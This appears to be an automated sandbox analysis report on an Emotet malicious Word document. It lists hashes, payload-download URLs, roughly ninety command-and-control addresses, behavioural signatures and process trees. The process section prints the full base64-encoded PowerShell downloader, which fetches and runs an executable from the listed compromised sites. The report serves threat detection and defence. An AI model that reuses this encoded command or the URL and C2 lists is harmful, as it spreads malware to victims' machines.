Analysis
-
max time kernel
137s -
max time network
141s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
27-08-2020 20:10
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e2_7b6977d2fea5ace224c2e46488cf144b41a82f88c0d6d7849472cba5bb54eecd_2020-08-27__200808._doc.doc
Resource
win7v200722
General
-
Target
emotet_e2_7b6977d2fea5ace224c2e46488cf144b41a82f88c0d6d7849472cba5bb54eecd_2020-08-27__200808._doc.doc
-
Size
218KB
-
MD5
a7bd894680e439fd8753e29b79cd2de2
-
SHA1
a4ef376a566225ba782d25ca5ea68f0e63b23826
-
SHA256
7b6977d2fea5ace224c2e46488cf144b41a82f88c0d6d7849472cba5bb54eecd
-
SHA512
224ac475a964c3dd60ca662c5324c753fd33208fd0b6c468bf6993f63b6a5e9a4b886c6bcf7952b0f6bcbd0213b3cf3ec8242834c70f4f095fc4862221502bf3
Malware Config
Extracted
http://somosdrucken.com/upload/GGQL96W/
http://www.vedigitize.com/wp-includes/l9K6YJ/
http://www.sosyalben.org/hpKTnb/
http://www.sutomoresmestaj.net/menu/E/
http://www.traveltoharamain.com/cgi-bin/b/
http://www.thinkdesign4u.com/css/Rtc1/
https://www.mwk-bionik.de/fileadmin/vOJ/
Extracted
emotet
172.91.208.86:80
45.55.36.51:443
91.83.93.99:7080
45.55.219.163:443
107.5.122.110:80
103.86.49.11:8080
85.105.205.77:8080
120.150.60.189:80
137.59.187.107:8080
139.59.60.244:8080
203.117.253.142:80
1.221.254.82:80
97.82.79.83:80
37.187.72.193:8080
139.99.158.11:443
152.168.248.128:443
74.208.45.104:8080
83.169.36.251:8080
169.239.182.217:8080
216.208.76.186:80
209.141.54.221:8080
78.24.219.147:8080
104.131.44.150:8080
68.171.118.7:80
137.119.36.33:80
109.74.5.95:8080
84.39.182.7:80
157.147.76.151:80
95.179.229.244:8080
174.102.48.180:443
194.187.133.160:443
201.173.217.124:443
187.161.206.24:80
70.121.172.89:80
61.19.246.238:443
181.230.116.163:80
47.146.117.214:80
112.185.64.233:80
174.45.13.118:80
85.66.181.138:80
189.212.199.126:443
190.160.53.126:80
46.105.131.79:8080
173.81.218.65:80
24.179.13.119:80
37.139.21.175:8080
87.106.139.101:8080
110.145.77.103:80
200.41.121.90:80
185.94.252.104:443
104.131.11.150:443
157.245.99.39:8080
37.70.8.161:80
167.86.90.214:8080
153.232.188.106:80
121.124.124.40:7080
5.196.74.210:8080
113.160.130.116:8443
87.106.136.232:8080
41.60.200.34:80
74.120.55.163:80
24.43.99.75:80
95.213.236.64:8080
98.109.204.230:80
204.197.146.48:80
62.75.141.82:80
68.188.112.97:80
203.153.216.189:7080
91.211.88.52:7080
24.137.76.62:80
75.139.38.211:80
168.235.67.138:7080
190.55.181.54:443
67.205.85.243:8080
94.200.114.161:80
139.162.108.71:8080
47.144.21.12:443
104.236.246.93:8080
5.39.91.110:7080
69.30.203.214:8080
74.109.108.202:80
176.111.60.55:8080
139.130.242.43:80
94.23.237.171:443
174.137.65.18:80
85.152.162.105:80
93.147.212.206:80
200.114.213.233:8080
180.92.239.110:8080
173.62.217.22:443
62.30.7.67:443
79.98.24.39:8080
188.219.31.12:80
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3924 3884 powersheLL.exe -
Blacklisted process makes network request 1 IoCs
Processes:
powersheLL.exeflow pid process 21 3924 powersheLL.exe -
Executes dropped EXE 2 IoCs
Processes:
N3tnr9z.exeKBDDZO.exepid process 3896 N3tnr9z.exe 2096 KBDDZO.exe -
Drops file in System32 directory 1 IoCs
Processes:
N3tnr9z.exedescription ioc process File opened for modification C:\Windows\SysWOW64\c_GSM7\KBDDZO.exe N3tnr9z.exe -
Drops file in Windows directory 1 IoCs
Processes:
svchost.exedescription ioc process File opened for modification C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat svchost.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Modifies data under HKEY_USERS 5 IoCs
Processes:
svchost.exedescription ioc process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad svchost.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7 svchost.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1" svchost.exe Set value (data) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = 0d99ca53be7cd601 svchost.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0" svchost.exe -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 408 WINWORD.EXE 408 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powersheLL.exeKBDDZO.exepid process 3924 powersheLL.exe 3924 powersheLL.exe 3924 powersheLL.exe 2096 KBDDZO.exe 2096 KBDDZO.exe 2096 KBDDZO.exe 2096 KBDDZO.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
svchost.exepowersheLL.exedescription pid process Token: SeShutdownPrivilege 1504 svchost.exe Token: SeCreatePagefilePrivilege 1504 svchost.exe Token: SeDebugPrivilege 3924 powersheLL.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
WINWORD.EXEN3tnr9z.exeKBDDZO.exepid process 408 WINWORD.EXE 408 WINWORD.EXE 408 WINWORD.EXE 408 WINWORD.EXE 408 WINWORD.EXE 408 WINWORD.EXE 408 WINWORD.EXE 408 WINWORD.EXE 408 WINWORD.EXE 3896 N3tnr9z.exe 3896 N3tnr9z.exe 2096 KBDDZO.exe 2096 KBDDZO.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
powersheLL.exeN3tnr9z.exedescription pid process target process PID 3924 wrote to memory of 3896 3924 powersheLL.exe N3tnr9z.exe PID 3924 wrote to memory of 3896 3924 powersheLL.exe N3tnr9z.exe PID 3924 wrote to memory of 3896 3924 powersheLL.exe N3tnr9z.exe PID 3896 wrote to memory of 2096 3896 N3tnr9z.exe KBDDZO.exe PID 3896 wrote to memory of 2096 3896 N3tnr9z.exe KBDDZO.exe PID 3896 wrote to memory of 2096 3896 N3tnr9z.exe KBDDZO.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEPID:408"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_7b6977d2fea5ace224c2e46488cf144b41a82f88c0d6d7849472cba5bb54eecd_2020-08-27__200808._doc.doc" /o ""Checks processor information in registryEnumerates system info in registrySuspicious behavior: AddClipboardFormatListenerSuspicious use of SetWindowsHookEx
-
C:\Windows\system32\svchost.exePID:1504C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvcDrops file in Windows directoryModifies data under HKEY_USERSSuspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exePID:3924powersheLL -e JABJAGIAOQBqADAAYgB4AD0AKAAnAE0AbAAnACsAKAAnAGgAbQAxACcAKwAnADEAagAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgB2ADoAdABlAG0AcABcAFcAbwByAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQBSAEUAQwB0AE8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABjAHUAcgBJAFQAYAB5AHAAUgBgAE8AVABgAG8AQwBvAEwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAJwArACgAJwAxACcAKwAnADIALAAgACcAKQArACcAdAAnACsAKAAnAGwAJwArACcAcwAxADEALAAnACkAKwAoACcAIAAnACsAJwB0AGwAcwAnACkAKQA7ACQATQByAGgAZQBkAGMAegAgAD0AIAAoACcATgAzACcAKwAnAHQAbgAnACsAKAAnAHIAOQAnACsAJwB6ACcAKQApADsAJABaAHIAdwByAHMAZwBsAD0AKAAoACcARgBmACcAKwAnAGQAcAAnACkAKwAnAHAAbQAnACsAJwBkACcAKQA7ACQATwAxAHAAcgA3ADMAcgA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACgAJwBYAGkAJwArACcAcQAnACkAKwAoACcAdwAnACsAJwBvAHIAZABYAGkAJwApACsAKAAnAHEAJwArACcAMgAwACcAKQArACgAJwAxADkAWABpACcAKwAnAHEAJwApACkALgAiAFIARQBwAGwAYABBAGMARQAiACgAKAAnAFgAaQAnACsAJwBxACcAKQAsACcAXAAnACkAKQArACQATQByAGgAZQBkAGMAegArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAEIAMAAwAHYAdgBlAGwAPQAoACcARgA4ACcAKwAnAHcAJwArACgAJwBtAHUAbQAnACsAJwA3ACcAKQApADsAJABSAGQANQBjAGMAOABwAD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAagAnACsAJwBlAGMAJwArACcAdAAnACkAIABuAGUAVAAuAFcAZQBCAGMATABpAEUATgB0ADsAJABVAHAAcwBkADkAegBsAD0AKAAoACcAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAOgAnACsAJwAvACcAKwAnAC8AcwBvACcAKwAnAG0AbwBzAGQAcgB1AGMAJwApACsAJwBrACcAKwAnAGUAbgAnACsAJwAuAGMAJwArACgAJwBvAG0AJwArACcALwAnACkAKwAoACcAdQBwAGwAbwAnACsAJwBhAGQAJwApACsAJwAvACcAKwAnAEcAJwArACgAJwBHAFEATAA5ACcAKwAnADYAJwArACcAVwAnACkAKwAoACcALwAqACcAKwAnAGgAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAnACkAKwAoACcALwB3AHcAdwAuAHYAZQAnACsAJwBkACcAKwAnAGkAJwApACsAJwBnACcAKwAoACcAaQB0ACcAKwAnAGkAJwApACsAKAAnAHoAZQAnACsAJwAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKwAnAHcAcAAtAGkAJwApACsAKAAnAG4AYwAnACsAJwBsAHUAZAAnACsAJwBlAHMAJwArACcALwBsACcAKQArACgAJwA5ACcAKwAnAEsANgAnACkAKwAoACcAWQAnACsAJwBKAC8AJwApACsAKAAnACoAaAB0AHQAJwArACcAcAAnACkAKwAnADoALwAnACsAJwAvAHcAJwArACgAJwB3AHcALgBzACcAKwAnAG8AJwApACsAKAAnAHMAJwArACcAeQBhAGwAYgAnACkAKwAoACcAZQAnACsAJwBuAC4AbwAnACkAKwAoACcAcgAnACsAJwBnAC8AJwApACsAJwBoACcAKwAoACcAcABLACcAKwAnAFQAbgBiACcAKQArACgAJwAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwB3AHcAJwArACcAdwAnACkAKwAoACcALgBzAHUAdAAnACsAJwBvACcAKQArACcAbQAnACsAKAAnAG8AJwArACcAcgBlAHMAJwApACsAKAAnAG0AZQBzAHQAYQBqAC4AbgAnACsAJwBlACcAKwAnAHQALwBtAGUAJwArACcAbgB1ACcAKwAnAC8ARQAnACkAKwAoACcALwAqAGgAJwArACcAdAAnACsAJwB0AHAAOgAnACkAKwAoACcALwAvACcAKwAnAHcAJwApACsAJwB3AHcAJwArACcALgB0ACcAKwAoACcAcgBhAHYAZQAnACsAJwBsAHQAbwBoAGEAcgAnACsAJwBhAG0AJwArACcAYQBpAG4ALgAnACkAKwAoACcAYwBvAG0AJwArACcALwBjACcAKQArACcAZwAnACsAKAAnAGkAJwArACcALQBiAGkAJwApACsAJwBuACcAKwAoACcALwAnACsAJwBiAC8AKgBoACcAKQArACgAJwB0AHQAcAA6AC8AJwArACcALwAnACsAJwB3AHcAJwApACsAKAAnAHcAJwArACcALgB0ACcAKwAnAGgAaQBuACcAKQArACgAJwBrAGQAJwArACcAZQBzACcAKQArACgAJwBpACcAKwAnAGcAbgA0AHUALgBjACcAKQArACcAbwAnACsAJwBtAC8AJwArACcAYwAnACsAKAAnAHMAcwAnACsAJwAvAFIAdAAnACkAKwAoACcAYwAxACcAKwAnAC8AKgBoACcAKQArACcAdAB0ACcAKwAoACcAcABzADoAJwArACcALwAvAHcAJwApACsAKAAnAHcAJwArACcAdwAuAG0AJwApACsAKAAnAHcAawAtAGIAaQAnACsAJwBvACcAKwAnAG4AaQAnACkAKwAnAGsAJwArACgAJwAuACcAKwAnAGQAZQAvAGYAaQAnACsAJwBsAGUAYQBkACcAKQArACgAJwBtACcAKwAnAGkAbgAvAHYATwAnACsAJwBKAC8AJwApACkALgAiAFMAcABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASgA5AGsAcwBwAGcAMAA9ACgAKAAnAFoAMgAnACsAJwBlACcAKQArACcAdgAnACsAKAAnAHgAJwArACcANQA3ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQATgA4AHIAcABxAG4AdgAgAGkAbgAgACQAVQBwAHMAZAA5AHoAbAApAHsAdAByAHkAewAkAFIAZAA1AGMAYwA4AHAALgAiAGQATwB3AGAATgBsAE8AQQBgAGQAZgBpAGwARQAiACgAJABOADgAcgBwAHEAbgB2ACwAIAAkAE8AMQBwAHIANwAzAHIAKQA7ACQAUgBhAGwAcwAwAGUAcAA9ACgAJwBFACcAKwAnADcAagAnACsAKAAnAHcAdgBfACcAKwAnADcAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQATwAxAHAAcgA3ADMAcgApAC4AIgBsAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADMANwA1ADYANAApACAAewAuACgAJwBJAG4AdgBvAGsAZQAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACgAJABPADEAcAByADcAMwByACkAOwAkAFMAYgByAGIAdwBkADgAPQAoACgAJwBSAHYANQBfACcAKwAnADEAJwApACsAJwBlACcAKwAnAG8AJwApADsAYgByAGUAYQBrADsAJABMAHkAdQBiAG4AcABqAD0AKAAoACcATABtACcAKwAnAHQAOQAnACkAKwAnAG0AJwArACcAMgBfACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBsADgANABvAGYAYgA9ACgAKAAnAEsAcgBsACcAKwAnAHQAJwApACsAKAAnAHYANgAnACsAJwBwACcAKQApAA==Process spawned unexpected child processBlacklisted process makes network requestSuspicious behavior: EnumeratesProcessesSuspicious use of AdjustPrivilegeTokenSuspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\word\2019\N3tnr9z.exePID:3896"C:\Users\Admin\AppData\Local\Temp\word\2019\N3tnr9z.exe"Executes dropped EXEDrops file in System32 directorySuspicious use of SetWindowsHookExSuspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\c_GSM7\KBDDZO.exePID:2096"C:\Windows\SysWOW64\c_GSM7\KBDDZO.exe"Executes dropped EXESuspicious behavior: EnumeratesProcessesSuspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix
Collection
Command and Control
Credential Access
Defense Evasion
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Replay Monitor
Downloads
-
C:\Users\Admin\AppData\Local\Temp\WorD\2019\N3tnr9z.exe
-
C:\Users\Admin\AppData\Local\Temp\word\2019\N3tnr9z.exe
-
C:\Windows\SysWOW64\c_GSM7\KBDDZO.exe
-
memory/408-0-0x00007FF9D72B0000-0x00007FF9D7976000-memory.dmpFilesize
6MB
-
memory/408-4-0x0000014BC96B9000-0x0000014BC96CC000-memory.dmpFilesize
76KB
-
memory/2096-15-0x0000000000000000-mapping.dmp
-
memory/2096-17-0x00000000021F0000-0x00000000021FC000-memory.dmpFilesize
48KB
-
memory/3896-11-0x0000000000000000-mapping.dmp
-
memory/3896-14-0x0000000000A40000-0x0000000000A4C000-memory.dmpFilesize
48KB
-
memory/3924-8-0x00007FF9CFCA0000-0x00007FF9D068C000-memory.dmpFilesize
9MB
-
memory/3924-9-0x000001FD32F30000-0x000001FD32F31000-memory.dmpFilesize
4KB
-
memory/3924-10-0x000001FD330F0000-0x000001FD330F1000-memory.dmpFilesize
4KB